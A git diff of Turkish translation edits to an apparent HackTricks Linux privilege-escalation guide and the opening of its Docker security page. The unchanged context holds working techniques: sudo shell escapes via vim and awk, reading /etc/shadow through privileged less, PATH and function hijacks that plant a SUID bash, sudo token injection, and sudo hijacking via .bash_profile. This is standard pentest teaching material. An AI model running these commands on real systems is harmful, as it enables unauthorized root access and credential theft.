yolunu** kontrol edin: @@ -564,13 +564,13 @@ runc-privilege-escalation.md D-Bus, uygulamaların verimli bir şekilde etkileşimde bulunmasını ve veri paylaşmasını sağlayan karmaşık bir **İşlem Arası İletişim (IPC) sistemi**dir. Modern Linux sistemini göz önünde bulundurarak tasarlanmış olup, farklı uygulama iletişim biçimleri için sağlam bir çerçeve sunar. -Sistem, süreçler arasında veri alışverişini artıran temel IPC'yi destekleyerek **gelişmiş UNIX alan soketleri**ni andıran bir yapıdadır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olarak sistem bileşenleri arasında sorunsuz bir entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir çağrı sinyali, bir müzik çalarını sessize alabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır. +Sistem çok yönlüdür, süreçler arasında veri alışverişini artıran temel IPC'yi destekler ve **gelişmiş UNIX alan soketleri**ni andırır. Ayrıca, olayları veya sinyalleri yayınlamaya yardımcı olur, sistem bileşenleri arasında sorunsuz entegrasyonu teşvik eder. Örneğin, bir Bluetooth daemon'undan gelen bir sinyal, gelen bir arama hakkında müzik çalarını sessize alabilir ve kullanıcı deneyimini artırabilir. Ayrıca, D-Bus, uygulamalar arasında hizmet taleplerini ve yöntem çağrılarını basitleştiren bir uzak nesne sistemi destekler ve geleneksel olarak karmaşık olan süreçleri kolaylaştırır. D-Bus, mesaj izinlerini (yöntem çağrıları, sinyal yayma vb.) toplu olarak eşleşen politika kurallarının etkisine göre yöneten bir **izin/verme modeli** üzerinde çalışır. Bu politikalar, otobüsle etkileşimleri belirler ve bu izinlerin istismar edilmesi yoluyla yetki yükseltmeye olanak tanıyabilir. `/etc/dbus-1/system.d/wpa_supplicant.conf` dosyasında, root kullanıcısının `fi.w1.wpa_supplicant1`'e mesaj göndermesi, alması ve sahip olması için izinleri detaylandıran bir politika örneği sağlanmıştır. -Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanırken, "varsayılan" bağlam politikaları, diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır. +Belirtilmiş bir kullanıcı veya grup içermeyen politikalar evrensel olarak uygulanır, "varsayılan" bağlam politikaları ise diğer belirli politikalarla kapsanmayan tüm durumlara uygulanır. ```xml @@ -658,7 +658,7 @@ Bazı Linux sürümleri, **UID > INT_MAX** olan kullanıcıların ayrıcalıklar ### Gruplar -Sana root ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığını kontrol et**: +Kök ayrıcalıkları verebilecek **bir grubun üyesi olup olmadığınızı** kontrol edin: {{#ref}} interesting-groups-linux-pe/ @@ -666,7 +666,7 @@ interesting-groups-linux-pe/ ### Panoya -Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol et. +Panoda (mümkünse) ilginç bir şey olup olmadığını kontrol edin. ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -720,7 +720,7 @@ $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık kök dizinine bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak basit hale gelmiştir. +Bu örnekte `demo` kullanıcısı `vim`'i `root` olarak çalıştırabilir, artık bir ssh anahtarı ekleyerek veya `sh` çağırarak bir shell almak basit hale gelmiştir. ``` sudo vim -c '!sh' ``` @@ -738,7 +738,7 @@ sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### Sudo yürütme atlama yolları -**Diğer dosyaları okumak** veya **sembolik bağlantılar** kullanmak için atlayın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Diğer dosyaları okumak için atlayın** veya **sembolik bağlantılar** kullanın. Örneğin sudoers dosyasında: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -757,7 +757,7 @@ sudo less /var/log/something /etc/shadow #Red 2 files ### Sudo komutu/SUID ikili dosyası komut yolu olmadan -Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ PATH değişkenini değiştirerek bunu istismar edebilirsiniz. +Eğer **sudo izni** tek bir komuta **yol belirtilmeden** verilmişse: _hacker10 ALL= (root) less_ bunu PATH değişkenini değiştirerek istismar edebilirsiniz. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -771,7 +771,7 @@ Bu teknik, bir **suid** ikili dosyası **yolu belirtmeden başka bir komut çal Eğer **suid** ikilisi **yolu belirterek başka bir komut çalıştırıyorsa**, o zaman, suid dosyasının çağırdığı komutla aynı adı taşıyan bir **fonksiyonu dışa aktarmayı** deneyebilirsiniz. -Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz: +Örneğin, eğer bir suid ikilisi _**/usr/sbin/service apache2 start**_ komutunu çağırıyorsa, fonksiyonu oluşturmayı ve dışa aktarmayı denemelisiniz: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service @@ -780,12 +780,12 @@ Sonra, suid ikili dosyasını çağırdığınızda, bu fonksiyon çalıştırı ### LD_PRELOAD & **LD_LIBRARY_PATH** -**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşılan kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir. +**LD_PRELOAD** ortam değişkeni, yükleyici tarafından diğer tüm kütüphanelerden önce yüklenmesi gereken bir veya daha fazla paylaşımlı kütüphaneyi (.so dosyaları) belirtmek için kullanılır. Bu işlem, bir kütüphanenin ön yüklenmesi olarak bilinir. Ancak, sistem güvenliğini korumak ve bu özelliğin kötüye kullanılmasını önlemek için, özellikle **suid/sgid** yürütülebilir dosyalarla ilgili olarak, sistem belirli koşulları zorunlu kılar: - Yükleyici, gerçek kullanıcı kimliği (_ruid_) etkili kullanıcı kimliği (_euid_) ile eşleşmeyen yürütülebilir dosyalar için **LD_PRELOAD**'u dikkate almaz. -- SUID/SGID'ye sahip yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. +- SUID/SGID olan yürütülebilir dosyalar için yalnızca standart yollardaki ve aynı zamanda suid/sgid olan kütüphaneler ön yüklenir. Yetki yükseltme, `sudo` ile komutları çalıştırma yeteneğiniz varsa ve `sudo -l` çıktısı **env_keep+=LD_PRELOAD** ifadesini içeriyorsa gerçekleşebilir. Bu yapılandırma, **LD_PRELOAD** ortam değişkeninin kalıcı olmasını ve `sudo` ile komutlar çalıştırıldığında tanınmasını sağlar, bu da potansiyel olarak yükseltilmiş ayrıcalıklarla rastgele kodun çalıştırılmasına yol açabilir. ``` @@ -901,9 +901,13 @@ Proje, kısıtlı shell'lerden çıkmak, ayrıcalıkları yükseltmek veya sürd > strace -o /dev/null /bin/sh\ > sudo awk 'BEGIN {system("/bin/sh")}' -{% embed url="https://gtfobins.github.io/" %} +{{#ref}} +https://gtfobins.github.io/ +{{#endref}} -{% embed url="https://gtfoargs.github.io/" %} +{{#ref}} +https://gtfoargs.github.io/ +{{#endref}} ### FallOfSudo @@ -916,7 +920,7 @@ Eğer **sudo erişiminiz** varsa ama şifreniz yoksa, **bir sudo komutunun yür Ayrıcalıkları yükseltmek için gereksinimler: - Zaten "_sampleuser_" kullanıcısı olarak bir shell'e sahipsiniz -- "_sampleuser_" son **15 dakikada** bir şeyi **`sudo` ile** yürütmüş (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir) +- "_sampleuser_" son **15 dakikada** bir şey yürütmek için **`sudo` kullanmış** (varsayılan olarak bu, `sudo`'yu herhangi bir şifre girmeden kullanmamıza izin veren sudo token'ının süresidir) - `cat /proc/sys/kernel/yama/ptrace_scope` 0 - `gdb` erişilebilir (yükleyebilmeniz gerekir) @@ -924,7 +928,7 @@ Ayrıcalıkları yükseltmek için gereksinimler: Tüm bu gereksinimler karşılandığında, **şu şekilde ayrıcalıkları yükseltebilirsiniz:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) -- **ilk istismar** (`exploit.sh`) _/tmp_ dizininde `activate_sudo_token` ikili dosyasını oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın): +- **ilk istismar** (`exploit.sh`), _/tmp_ dizininde `activate_sudo_token` adlı ikili dosyayı oluşturacaktır. Bunu **oturumunuzda sudo token'ını etkinleştirmek için** kullanabilirsiniz (otomatik olarak bir root shell almayacaksınız, `sudo su` yapın): ```bash bash exploit.sh /tmp/activate_sudo_token @@ -942,14 +946,14 @@ sudo su ``` ### /var/run/sudo/ts/\ -Eğer klasörde veya klasör içindeki oluşturulan dosyalardan herhangi birinde **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\ -Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve PID 1234 olan o kullanıcıyla bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**: +Eğer klasörde veya klasör içindeki herhangi bir oluşturulmuş dosyada **yazma izinleriniz** varsa, bir kullanıcı ve PID için **sudo token** oluşturmak üzere [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) ikili dosyasını kullanabilirsiniz.\ +Örneğin, _/var/run/sudo/ts/sampleuser_ dosyasını üzerine yazabiliyorsanız ve o kullanıcı olarak PID 1234 ile bir shell'e sahipseniz, şifreyi bilmeden **sudo ayrıcalıkları elde edebilirsiniz**: ```bash ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ``` ### /etc/sudoers, /etc/sudoers.d -Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubunun okuyabileceği şekilde ayarlanmıştır**.\ +Dosya `/etc/sudoers` ve `/etc/sudoers.d` içindeki dosyalar, kimin `sudo` kullanabileceğini ve nasıl kullanılacağını yapılandırır. Bu dosyalar **varsayılan olarak yalnızca root kullanıcısı ve root grubu tarafından okunabilir**.\ **Eğer** bu dosyayı **okuyabiliyorsanız**, **ilginç bilgiler elde edebilirsiniz** ve eğer herhangi bir dosyayı **yazabiliyorsanız**, **yetkileri yükseltebilirsiniz**. ```bash ls -l /etc/sudoers /etc/sudoers.d/ @@ -975,7 +979,7 @@ permit nopass demo as root cmd vim ``` ### Sudo Hijacking -Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları artırdığını** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası oluşturabilirsiniz.** Ardından, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır. +Eğer bir **kullanıcının genellikle bir makineye bağlandığını ve `sudo` kullanarak ayrıcalıkları yükselttiğini** biliyorsanız ve o kullanıcı bağlamında bir shell elde ettiyseniz, **root olarak kodunuzu çalıştıracak ve ardından kullanıcının komutunu yürütecek yeni bir sudo çalıştırılabilir dosyası oluşturabilirsiniz.** Ardından, **kullanıcı bağlamının $PATH'ini değiştirin** (örneğin, .bash_profile'a yeni yolu ekleyerek) böylece kullanıcı sudo'yu çalıştırdığında, sizin sudo çalıştırılabilir dosyanız çalıştırılır. Kullanıcının farklı bir shell (bash değil) kullanması durumunda, yeni yolu eklemek için diğer dosyaları da değiştirmeniz gerekecektir. Örneğin, [sudo-piggyback](https://github.com/APTy/sudo-piggyback) `~/.bashrc`, `~/.zshrc`, `~/.bash_profile` dosyalarını değiştirir. Başka bir örneği [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) içinde bulabilirsiniz. @@ -1002,8 +1006,8 @@ Dosya `/etc/ld.so.conf`, **yüklenen yapılandırma dosyalarının nereden geldi Bu, `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyalarının okunacağı anlamına gelir. Bu yapılandırma dosyaları, **kütüphanelerin** **arama** yapılacağı **diğer klasörlere** işaret eder. Örneğin, `/etc/ld.so.conf.d/libc.conf` dosyasının içeriği `/usr/local/lib`'dir. **Bu, sistemin `/usr/local/lib` içinde kütüphaneleri arayacağı anlamına gelir.** -Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetki yükseltme gerçekleştirebilir.\ -Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın: +Herhangi bir nedenle, **bir kullanıcının yazma izinleri** varsa, belirtilen yollardan herhangi birinde: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` içindeki herhangi bir dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, ayrıcalıkları artırma yeteneğine sahip olabilir.\ +Bu yanlış yapılandırmayı **nasıl istismar edeceğinizi** aşağıdaki sayfada inceleyin: {{#ref}} ld.so.conf-example.md @@ -1053,12 +1057,12 @@ linux-capabilities.md ## Dizin izinleri -Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **dizine "cd"** yapabileceğini belirtir.\ -**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** **oluşturabileceğini** belirtir. +Bir dizinde, **"çalıştır"** biti, etkilenen kullanıcının **"cd"** komutunu kullanarak klasöre girebileceğini belirtir.\ +**"okuma"** biti, kullanıcının **dosyaları listeleyebileceğini**, **"yazma"** biti ise kullanıcının **dosyaları silip** **yeni dosyalar** oluşturabileceğini belirtir. ## ACL'ler -Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde kontrolü artırarak, sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek daha fazla kontrol sağlar. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. +Erişim Kontrol Listeleri (ACL'ler), **geleneksel ugo/rwx izinlerini geçersiz kılabilen** isteğe bağlı izinlerin ikinci katmanını temsil eder. Bu izinler, dosya veya dizin erişimi üzerinde daha fazla kontrol sağlar ve sahip olmayan veya grup üyesi olmayan belirli kullanıcılara haklar vererek veya reddederek erişimi yönetir. Bu düzeydeki **ince ayrıntı, daha hassas erişim yönetimi sağlar**. Daha fazla ayrıntı [**burada**](https://linuxconfig.org/how-to-manage-acls-on-linux) bulunabilir. **kali** kullanıcısına bir dosya üzerinde okuma ve yazma izinleri verin: ```bash @@ -1120,17 +1124,17 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) üretilen tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH İlginç yapılandırma değerleri -- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`'dur. -- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`'dir. -- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`'dur. +- **PasswordAuthentication:** Parola kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `no`dur. +- **PubkeyAuthentication:** Genel anahtar kimlik doğrulamasının izin verilip verilmediğini belirtir. Varsayılan `yes`dir. +- **PermitEmptyPasswords**: Parola kimlik doğrulamasına izin verildiğinde, sunucunun boş parola dizelerine sahip hesaplara girişe izin verip vermediğini belirtir. Varsayılan `no`dur. ### PermitRootLogin -Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`'dur. Olası değerler: +Root'un ssh kullanarak giriş yapıp yapamayacağını belirtir, varsayılan `no`dur. Olası değerler: - `yes`: root parola ve özel anahtar kullanarak giriş yapabilir - `without-password` veya `prohibit-password`: root yalnızca özel anahtar ile giriş yapabilir @@ -1147,7 +1151,7 @@ Bu yapılandırma, "**testusername**" kullanıcısının **özel** anahtarıyla ### ForwardAgent/AllowAgentForwarding -SSH ajan yönlendirmesi, **şifreli olmayan** anahtarların sunucunuzda kalması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh üzerinden **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz. +SSH ajan yönlendirmesi, **şifre olmadan** anahtarların sunucunuzda durması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz. Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekir: ``` @@ -1159,7 +1163,7 @@ Dikkat edin ki, eğer `Host` `*` ise, kullanıcı farklı bir makineye geçtiği Dosya `/etc/ssh_config` bu **seçenekleri** **geçersiz kılabilir** ve bu yapılandırmayı izin verebilir veya reddedebilir.\ Dosya `/etc/sshd_config` `AllowAgentForwarding` anahtar kelimesi ile ssh-agent yönlendirmesine **izin verebilir** veya **reddedebilir** (varsayılan izin ver). -Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** dolayı aşağıdaki sayfayı okuyun: +Eğer Forward Agent'ın bir ortamda yapılandırıldığını bulursanız, **yetkileri artırmak için bunu kötüye kullanabileceğinizden** aşağıdaki sayfayı okuyun: {{#ref}} ssh-forward-agent-exploitation.md @@ -1177,7 +1181,7 @@ Herhangi bir garip profil betiği bulunursa, **hassas detaylar** için kontrol e ### Passwd/Shadow Dosyaları -OS'a bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir; dosyaların içinde **hash'ler** olup olmadığını görmek için: +OS'a bağlı olarak, `/etc/passwd` ve `/etc/shadow` dosyaları farklı bir isim kullanıyor olabilir veya bir yedeği olabilir. Bu nedenle, **hepsini bulmanız** ve **okuyup okuyamayacağınızı kontrol etmeniz** önerilir, böylece dosyaların içinde **hash'ler** olup olmadığını görebilirsiniz: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1288,7 +1292,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Loglar Logları okuyabiliyorsanız, **içlerinde ilginç/gizli bilgiler bulabilirsiniz**. Log ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\ -Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, denetim logları içinde **şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, **denetim logları içinde şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1315,7 +1319,7 @@ Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız ### Python kütüphanesi ele geçirme -Bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Bir python betiğinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python betiğinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). Kütüphaneyi **arka kapılamak** için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): ```python @@ -1352,9 +1356,9 @@ DEVICE=eth0 ``` ### **init, init.d, systemd ve rc.d** -Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. +Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yenilemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. -Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi**dir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. +Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi** sistemidir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. **systemd**, modern bir başlatma ve servis yöneticisi olarak ortaya çıkar, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize eder, sistem yönetim sürecini kolaylaştırır. @@ -1396,9 +1400,9 @@ cisco-vmanage.md **Unix Yetki Yükseltme Kontrolü:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Yetki Kontrol Aracı:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux ve MAC'te kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ -**Linux Exploit Önerici:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ +**Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ **Daha fazla script derlemesi**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) diff --git a/src/linux-hardening/privilege-escalation/docker-security/README.md b/src/linux-hardening/privilege-escalation/docker-security/README.md index 45d3d7e96..d2a7ee7ed 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/README.md @@ -4,7 +4,7 @@ ## **Temel Docker Motoru Güvenliği** -**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanır ve temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir. +**Docker motoru**, konteynerleri izole etmek için Linux çekirdeğinin **Namespaces** ve **Cgroups** özelliklerini kullanarak temel bir güvenlik katmanı sunar. Ek koruma, **Capabilities dropping**, **Seccomp** ve **SELinux/AppArmor** ile sağlanarak konteyner izolasyonunu artırır. Bir **auth plugin** kullanıcı eylemlerini daha da kısıtlayabilir. ![Docker Güvenliği](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png) @@ -24,23 +24,23 @@ Ancak, Docker daemon'ını HTTP üzerinden açmak güvenlik endişeleri nedeniyl Sunucunun kimliğini doğrulamak için sertifikalar kullanılır. Her iki yöntem için ayrıntılı örnekler için [**bu kılavuza**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/) bakın. -### Konteyner Görüntülerinin Güvenliği +### Konteyner Görsellerinin Güvenliği -Konteyner görüntüleri özel veya genel depolarda saklanabilir. Docker, konteyner görüntüleri için birkaç depolama seçeneği sunar: +Konteyner görselleri özel veya genel depolarda saklanabilir. Docker, konteyner görselleri için birkaç depolama seçeneği sunar: - [**Docker Hub**](https://hub.docker.com): Docker'dan bir genel kayıt hizmeti. - [**Docker Registry**](https://github.com/docker/distribution): Kullanıcıların kendi kayıtlarını barındırmalarına olanak tanıyan açık kaynaklı bir proje. - [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Rol tabanlı kullanıcı kimlik doğrulaması ve LDAP dizin hizmetleri ile entegrasyon sunan Docker'ın ticari kayıt teklifi. -### Görüntü Tarama +### Görsel Tarama -Konteynerler, ya temel görüntü nedeniyle ya da temel görüntünün üzerine kurulu yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapan ve açıkları listeleyen **Nautilus** adlı bir proje üzerinde çalışıyor. Nautilus, her konteyner görüntü katmanını güvenlik açıkları deposu ile karşılaştırarak güvenlik açıklarını tanımlar. +Konteynerler, ya temel görsel nedeniyle ya da temel görselin üzerine yüklenen yazılım nedeniyle **güvenlik açıklarına** sahip olabilir. Docker, konteynerlerin güvenlik taramasını yapan ve açıkları listeleyen **Nautilus** adlı bir proje üzerinde çalışmaktadır. Nautilus, her konteyner görsel katmanını güvenlik açıkları deposu ile karşılaştırarak güvenlik açıklarını tanımlar. Daha fazla [**bilgi için bunu okuyun**](https://docs.docker.com/engine/scan/). - **`docker scan`** -**`docker scan`** komutu, mevcut Docker görüntülerini görüntü adı veya kimliği kullanarak taramanıza olanak tanır. Örneğin, hello-world görüntüsünü taramak için aşağıdaki komutu çalıştırın: +**`docker scan`** komutu, mevcut Docker görsellerini görsel adı veya kimliği kullanarak taramanıza olanak tanır. Örneğin, hello-world görselini taramak için aşağıdaki komutu çalıştırın: ```bash docker scan hello-world @@ -75,7 +75,7 @@ Docker 